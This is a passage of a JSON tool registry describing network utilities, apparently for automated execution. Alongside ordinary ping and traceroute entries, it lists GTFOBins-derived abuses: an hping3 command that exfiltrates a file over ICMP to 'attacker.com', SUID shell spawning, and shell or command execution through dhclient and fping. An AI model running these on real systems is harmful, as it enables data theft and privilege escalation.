    "parameters": [
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "be verbose",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "numeric",
        "template_key": "numeric",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't resolve names",
        "aliases": [
          "-n",
          "--numeric"
        ],
        "flag": "-n"
      },
      {
        "name": "extend",
        "template_key": "extend",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display other/more information",
        "aliases": [
          "-e",
          "--extend"
        ],
        "flag": "-e"
      },
      {
        "name": "fib",
        "template_key": "fib",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display Forwarding Information Base (default)",
        "aliases": [
          "-F",
          "--fib"
        ],
        "flag": "-F"
      },
      {
        "name": "cache",
        "template_key": "cache",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display routing cache instead of FIB",
        "aliases": [
          "-C",
          "--cache"
        ],
        "flag": "-C"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "defense-evasion",
      "discovery",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# hping3 — Packet Crafting Tool\n\nhping3 is a command-line TCP/IP packet crafting tool. In interactive mode, it can spawn a shell by typing `/bin/sh`. It can also exfiltrate files over ICMP as a covert channel.\n",
    "_source": "hping3.md",
    "allowed-tools": [
      "hping3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.packet.capture",
        "description": "Crafted network packets",
        "mime": "application/octet-stream",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "network.transfer.upload",
      "network.craft.packet",
      "network.scan.port"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Packet crafting and network analysis tool that can spawn shells and exfiltrate data over ICMP.",
    "examples": [
      {
        "description": "Spawn interactive shell via hping3 interactive mode",
        "command": "hping3\n/bin/sh"
      },
      {
        "description": "Spawn privileged shell with SUID",
        "command": "hping3\n/bin/sh -p"
      },
      {
        "description": "Exfiltrate file via ICMP covert channel",
        "command": "hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-file"
      },
      {
        "description": "Receive exfiltrated file on attacker side",
        "command": "hping3 --icmp --listen xxx --dump"
      }
    ],
    "execution": {
      "template": "hping3 {icmp} {data} {sign} {file} {listen} {dump}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "network-hping3",
    "install": [
      {
        "method": "apt",
        "package_name": "hping3",
        "commands": [
          "apt-get install -y hping3"
        ]
      }
    ],
    "name": "hping3",
    "namespace": "network:craft:hping3",
    "parameters": [
      {
        "name": "icmp",
        "type": "string",
        "required": false,
        "description": "Send ICMP packets",
        "aliases": [
          "--icmp"
        ],
        "flag": "--icmp"
      },
      {
        "name": "data",
        "type": "integer",
        "required": false,
        "description": "Data size",
        "aliases": [
          "--data"
        ],
        "flag": "--data"
      },
      {
        "name": "sign",
        "type": "string",
        "required": false,
        "description": "Signature for ICMP",
        "aliases": [
          "--sign"
        ],
        "flag": "--sign"
      },
      {
        "name": "file",
        "type": "file",
        "required": false,
        "description": "File to transfer",
        "aliases": [
          "--file"
        ],
        "flag": "--file"
      },
      {
        "name": "listen",
        "type": "string",
        "required": false,
        "description": "Listen mode",
        "aliases": [
          "--listen"
        ],
        "flag": "--listen"
      },
      {
        "name": "dump",
        "type": "string",
        "required": false,
        "description": "Dump received data",
        "aliases": [
          "--dump"
        ],
        "flag": "--dump"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "hping3 man page",
        "url": "https://man7.org/linux/man-pages/man8/hping3.8.html"
      }
    ],
    "related_tools": [
      "nmap",
      "nping"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "exfiltration",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "exfiltrated-data"
      ],
      "consumes": [
        "target-ip"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dhclient.md",
    "allowed-tools": [
      "dhclient",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DHCP client, can spawn a shell via the -sf (shell script) option.",
    "examples": [
      {
        "description": "Spawn a shell via dhclient -sf",
        "command": "dhclient -sf /bin/sh"
      }
    ],
    "execution": {
      "template": "dhclient -sf /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-dhcp-dhclient",
    "install": [
      {
        "method": "apt",
        "package_name": "isc-dhcp-client",
        "commands": [
          "apt-get install -y isc-dhcp-client"
        ]
      }
    ],
    "name": "dhclient",
    "namespace": "network:dhcp:dhclient",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dhclient/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "fping.md",
    "allowed-tools": [
      "fping",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast ping tool, can execute commands via crafted packets.",
    "examples": [
      {
        "description": "Execute command via fping",
        "command": "fping -e /path/to/command"
      }
    ],
    "execution": {
      "template": "fping -e /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-diagnostic-fping",
    "install": [
      {
        "method": "apt",
        "package_name": "fping",
        "commands": [
          "apt-get install -y fping"
        ]
      }
    ],
    "name": "fping",
    "namespace": "network:diagnostic:fping",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fping/"
      }
    ],
    "related_tools": [
      "ping"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pathping.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Combines ping and tracert with packet loss per hop.",
    "examples": [
      {
        "description": "Display help for pathping",
        "command": "pathping /?"
      }
    ],
    "execution": {
      "template": "pathping /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-pathping",
    "mitre_ids": [],
    "name": "pathping",
    "namespace": "network:diagnostic:latency",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "pathping Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pathping"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "mtr.md",
    "allowed-tools": [
      "mtr",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Network diagnostic tool combining traceroute and ping, can read files.",
    "examples": [
      {
        "description": "Read a file via mtr",
        "command": "mtr /path/to/file"
      }
    ],
    "execution": {
      "template": "mtr /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-diagnostic-mtr",
    "install": [
      {
        "method": "apt",
        "package_name": "mtr",
        "commands": [
          "apt-get install -y mtr"
        ]
      }
    ],
    "name": "mtr",
    "namespace": "network:diagnostic:mtr",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mtr/"
      }
    ],
    "related_tools": [
      "traceroute",
      "ping"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# ping — Network Reachability Testing\n\nPing is one of the most fundamental network diagnostic tools. It sends ICMP Echo Request packets and measures the time taken for Echo Reply responses, providing immediate feedback on network connectivity, latency, and packet loss.\n\n## Interpreting Results\n\n```\nPING google.com (142.250.80.14): 56 data bytes\n64 bytes from 142.250.80.14: icmp_seq=0 ttl=118 time=12.345 ms\n64 bytes from 142.250.80.14: icmp_seq=1 ttl=118 time=11.892 ms\n--- google.com ping statistics ---\n2 packets transmitted, 2 packets received, 0% packet loss\nround-trip min/avg/max/stddev = 11.892/12.119/12.345/0.227 ms\n```\n\n### Key Metrics\n\n| Metric | Interpretation |\n|--------|---------------|\n| **time** | Round-trip latency in milliseconds |\n| **packet loss** | Percentage of packets not returned (should be 0%) |\n| **ttl** | Time To Live — decremented by each router hop |\n| **stddev** | Jitter — variance in round-trip time |\n\n## Common Diagnoses\n\n| Symptom | Possible Cause |\n|---------|---------------|\n| 100% packet loss | Host down, firewall blocking ICMP, network disconnected |\n| High latency (>200ms) | Geographic distance, satellite link, congestion |\n| Increasing latency | Network congestion, throttling, route flapping |\n| Variable latency (jitter) | Wireless interference, bufferbloat, QoS issues |\n| TTL expired in transit | Routing loop or hop count exceeded |\n\n## Security Note\n\n- Many hosts disable ICMP echo responses for security/privacy\n- Packet loss may indicate firewalls rather than actual connectivity issues\n- Flood ping can be considered a denial-of-service attack — use responsibly\n\n## Related Tools\n\n- **[mtr](../../diagnostic/mtr.md)** — Combines ping and traceroute for continuous path analysis\n- **[traceroute](../../diagnostic/traceroute.md)** — Path discovery to target host\n- **[hping3](../../diagnostic/hping3.md)** — Advanced packet crafting and testing\n",
    "_source": "ping.md",
    "allowed-tools": [
      "ping",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.diagnostic.ping.result",
        "description": "Ping statistics and round-trip times",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.diagnostic.reachability",
      "network.diagnostic.latency",
      "network.diagnostic.packetloss",
      "network.discovery.host"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP address to ping"
        }
      ],
      "outputs": [
        {
          "type": "network.diagnostic.ping.result",
          "description": "Ping response statistics including min/avg/max RTT and packet loss",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "none"
      }
    },
    "dependencies": [],
    "description": "Network utility for testing reachability and measuring round-trip latency to a remote host.",
    "examples": [
      {
        "description": "Standard connectivity test with 4 pings",
        "command": "ping -c 4 google.com"
      },
      {
        "description": "Continuous ping with timestamp",
        "command": "ping -D google.com"
      },
      {
        "description": "Flood ping for network stress testing",
        "command": "sudo ping -f -c 1000 localhost"
      },
      {
        "description": "Custom packet size test",
        "command": "ping -s 1472 -c 10 google.com"
      },
      {
        "description": "Basic usage of ping to check connectivity to a host",
        "command": "ping hostname_or_IP_address"
      },
      {
        "description": "Specify the number of echo requests to send",
        "command": "ping -c 4 hostname_or_IP_address"
      },
      {
        "description": "Set the interval between sending each packet in seconds",
        "command": "ping -i 2 hostname_or_IP_address"
      },
      {
        "description": "Flood ping, sending requests as fast as possible (requires root)",
        "command": "ping -f hostname_or_IP_address"
      },
      {
        "description": "Ping with a specified packet size in bytes",
        "command": "ping -s 100 hostname_or_IP_address"
      },
      {
        "description": "Set time to live to control the number of hops",
        "command": "ping -t 64 hostname_or_IP_address"
      },
      {
        "description": "Use IPv4 explicitly (equivalent to ping)",
        "command": "ping -4 hostname_or_IP_address"
      },
      {
        "description": "Use IPv6 explicitly",
        "command": "ping -6 ipv6_address"
      },
      {
        "description": "Display the version of the ping command",
        "command": "ping -V"
      }
    ],
    "execution": {
      "template": "ping {flag-3} {flag-a} {flag-c} {flag-d} {flag-e}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "remote"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "network-diagnostic-ping",
    "install": [
      {
        "method": "apt",
        "package_name": "iputils-ping",
        "commands": [
          "apt-get install -y iputils-ping"
        ]
      }
    ],
    "name": "ping",
    "namespace": "network:diagnostic:ping",
    "parameters": [
      {
        "name": "O",
        "type": "boolean",
        "required": false,
        "description": "report outstanding replies",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "R",
        "type": "boolean",
        "required": false,
        "description": "record route",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "U",
        "type": "boolean",
        "required": false,
        "description": "latency",
        "aliases": [
          "-U",
          "-to-user"
        ],
        "flag": "-U"
      },
      {
        "name": "flag-3",
        "template_key": "flag-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "RTT precision (do not round up the result time)",
        "aliases": [
          "-3"
        ],
        "flag": "-3"
      },
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use IPv4",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use IPv6",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "define flow label, default is random",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "either interface name or address",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-M",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "define path MTU discovery, can be one of <do|dont|want|probe>",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-N",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-N"
        ],
        "flag": "-N"
      },
      {
        "name": "flag-Q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use quality of service <tclass> bits",
        "aliases": [
          "-Q"
        ],
        "flag": "-Q"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use <size> as SO_SNDBUF socket option value",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "define timestamp, can be one of <tsonly|tsandaddr|tsprespec>",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-W",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "time to wait for response",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use audible ping",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "allow pinging broadcast",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "stop after <count> replies",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use SO_DEBUG socket option",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "define identifier for ping session, default is random for",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "flood ping",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print help and exit",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "seconds between sending each packet",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "send <preload> number of packages while waiting replies",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "tag the packets going out",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "no reverse DNS name resolution, override -H",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "contents of padding byte",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "quiet output",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "use <size> as number of data bytes to be sent",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "define time to live",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbose output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "reply wait <deadline> in seconds",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ping man page",
        "url": "https://linux.die.net/man/8/ping"
      },
      {
        "label": "ICMP protocol specification",
        "url": "https://datatracker.ietf.org/doc/html/rfc792"
      }
    ],
    "related_tools": [
      "fping",
      "hping3",
      "mtr",
      "traceroute"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "none"
    },
    "risk_level": "low",
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "ping-results",
        "latency-stats"
      ],
      "consumes": [
        "target-host"
      ]
    }
  },
  {
    "_body": "",
    "_source": "tracert.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Traces the route packets take to a network destination.",
    "examples": [
      {
        "description": "Display help for tracert",
        "command": "tracert /?"
      }
    ],
    "execution": {
      "template": "tracert /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-tracert",
    "mitre_ids": [
      "T1046"
    ],
    "name": "tracert",
    "namespace": "network:diagnostic:trace",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "tracert Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracert"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# traceroute — Network Path Discovery\n\nTraceroute maps the network path between your machine and a target host by sending packets with incrementing TTL (Time To Live) values. Each router along the path decrements the TTL and sends back an ICMP Time Exceeded message, revealing the route.\n\n## How It Works\n\n1. Sends packet with TTL=1 — first router responds, TTL decremented to 0\n2. Sends packet with TTL=2 — second router responds\n3. Continues until target reached or max hops exceeded\n\n## Output Interpretation\n\n```\ntraceroute to google.com (142.250.80.14), 30 hops max, 60 byte packets\n 1  192.168.1.1 (192.168.1.1)  1.234 ms  1.123 ms  1.456 ms\n 2  10.0.0.1 (10.0.0.1)  5.678 ms  5.432 ms  6.012 ms\n 3  * * *  (no response)\n 4  72.14.237.194 (72.14.237.194)  15.234 ms  14.987 ms  15.567 ms\n 5  142.250.80.14 (142.250.80.14)  12.345 ms  12.123 ms  11.987 ms\n```\n\n### What to Look For\n\n| Indicator | Meaning |\n|-----------|---------|\n| **`* * *`** | Hop not responding (firewall, ICMP disabled) |\n| **High latency** | Slow link, geographic distance, congestion |\n| **Latency jump** | Likely where the geographic distance is crossed |\n| **Request timeout** | Packet dropped or filtered at that hop |\n\n## Related Tools\n\n- **[mtr](../../diagnostic/mtr.md)** — Continuous trace with real-time statistics\n- **[ping](../../diagnostic/ping.md)** — Basic reachability and latency testing\n- **[pathping](../../diagnostic/pathping.md)** — Windows tool combining ping and traceroute\n",
    "_source": "traceroute.md",
    "allowed-tools": [
      "traceroute",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.diagnostic.route",
        "description": "Hop-by-hop route trace results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.diagnostic.route",
      "network.diagnostic.hop",
      "network.diagnostic.latency",
      "network.discovery.path"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP address to trace"
        }
      ],
      "outputs": [
        {
          "type": "network.diagnostic.route",
          "description": "Sequential list of hops with per-hop latency measurements",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "none"
      }
    },
    "dependencies": [],
    "description": "Network diagnostic tool for displaying the route and measuring transit delays of packets across an IP network.",
    "examples": [
      {
        "description": "Standard route trace",
        "command": "traceroute google.com"
      },
      {
        "description": "Trace with numeric addresses only (faster)",
        "command": "traceroute -n google.com"
      },
      {
        "description": "Trace with custom max hops",
        "command": "traceroute -m 15 google.com"
      },
      {
        "description": "TCP-based traceroute to specific port",
        "command": "traceroute -T -p 443 google.com"
      },
      {
        "description": "Basic usage to display the route taken by packets to reach a host",
        "command": "traceroute hostname_or_IP_address"
      },
      {
        "description": "Specify the maximum number of hops (TTL) to be used",
        "command": "traceroute -m max_ttl hostname_or_IP_address"
      },
      {
        "description": "Use a particular protocol (ICMP or UDP)",
        "command": "traceroute -I hostname_or_IP_address   # For ICMP"
      },
      {
        "description": "cheat.sheets: traceroute",
        "command": "traceroute -U hostname_or_IP_address  # For UDP"
      },
      {
        "description": "Specify the number of probe packets per hop",
        "command": "traceroute -q n_queries hostname_or_IP_address"
      },
      {
        "description": "Set the initial TTL (Time-To-Live)",
        "command": "traceroute -f first_ttl hostname_or_IP_address"
      },
      {
        "description": "Specify the wait time for a response",
        "command": "traceroute -w wait_time hostname_or_IP_address"
      },
      {
        "description": "Change the default port",
        "command": "traceroute -p port_number hostname_or_IP_address"
      },
      {
        "description": "Specify the interface to be used",
        "command": "traceroute -i interface hostname_or_IP_address"
      },
      {
        "description": "Display the IP addresses numerically without resolving hostnames",
        "command": "traceroute -n hostname_or_IP_address"
      },
      {
        "description": "Set the source address",
        "command": "traceroute -s source_address hostname_or_IP_address"
      }
    ],
    "execution": {
      "template": "traceroute {flag-4} {flag-6} {debug} {dont-fragment} {first}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "network-diagnostic-traceroute",
    "install": [
      {
        "method": "apt",
        "package_name": "traceroute",
        "commands": [
          "apt-get install -y traceroute"
        ]
      }
    ],
    "name": "traceroute",
    "namespace": "network:diagnostic:traceroute",
    "parameters": [
      {
        "name": "UL",
        "type": "boolean",
        "required": false,
        "description": "Use UDPLITE for tracerouting (default dest port",
        "aliases": [
          "-UL"
        ],
        "flag": "-UL"
      },
      {
        "name": "as-path-lookups",
        "template_key": "as-path-lookups",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Perform AS path lookups in routing registries and",
        "aliases": [
          "-A",
          "--as-path-lookups"
        ],
        "flag": "-A"
      },
      {
        "name": "back",
        "template_key": "back",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Guess the number of hops in the backward path and",
        "aliases": [
          "--back"
        ],
        "flag": "--back"
      },
      {
        "name": "dccp",
        "template_key": "dccp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use DCCP Request for tracerouting (default port",
        "aliases": [
          "-D",
          "--dccp"
        ],
        "flag": "-D"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable socket level debugging",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "dont-fragment",
        "template_key": "dont-fragment",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not fragment packets",
        "aliases": [
          "-F",
          "--dont-fragment"
        ],
        "flag": "-F"
      },
      {
        "name": "extensions",
        "template_key": "extensions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show ICMP extensions (if present), including MPLS",
        "aliases": [
          "-e",
          "--extensions"
        ],
        "flag": "-e"
      },
      {
        "name": "first",
        "template_key": "first",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Start from the first_ttl hop (instead from 1)",
        "aliases": [
          "-f",
          "--first"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use IPv4",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use IPv6",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not resolve IP addresses to their domain names",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Bypass the normal routing and send directly to a",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flowlabel",
        "template_key": "flowlabel",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use specified flow_label for IPv6 packets",
        "aliases": [
          "-l",
          "--flowlabel"
        ],
        "flag": "-l"
      },
      {
        "name": "fwmark",
        "template_key": "fwmark",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set firewall mark for outgoing packets",
        "aliases": [
          "--fwmark"
        ],
        "flag": "--fwmark"
      },
      {
        "name": "gateway",
        "template_key": "gateway",
        "type": "string",
        "required": false,
        "default_value": null,
